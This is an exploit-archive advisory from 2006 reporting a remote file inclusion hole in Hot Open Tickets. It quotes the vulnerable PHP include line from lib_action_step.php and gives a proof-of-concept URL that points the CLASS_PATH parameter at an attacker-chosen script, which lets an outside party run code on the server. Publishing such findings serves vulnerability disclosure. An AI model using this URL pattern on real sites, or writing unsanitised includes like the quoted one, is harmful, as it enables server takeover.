[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Hot Open Tickets <= 11012004 (CLASS_PATH) Remote Include Vuln
# Published : 2006-05-27
# Author : Kacper
# Previous Title : CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
# Next Title : PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
# HOT [(Hot Open Tickets) (hot_11012004_ver2f)] - Remote File Include Vulnerabilities
# Find by Kacper (Rahim).
# Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
# Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl
# Site scripts: http://hotopentickets.sourceforge.net
#
####################################################################
*/ lib_action_step.php: Line(1-4)
include ($GLOBALS["CLASS_PATH"]."/User_list_class.php");
function print_action_list($a)
{
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Expl:
http://www.site.com/[hot_path]/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=[evil_scripts]
#Elo ;-)
# www.Syue.com [2006-05-27]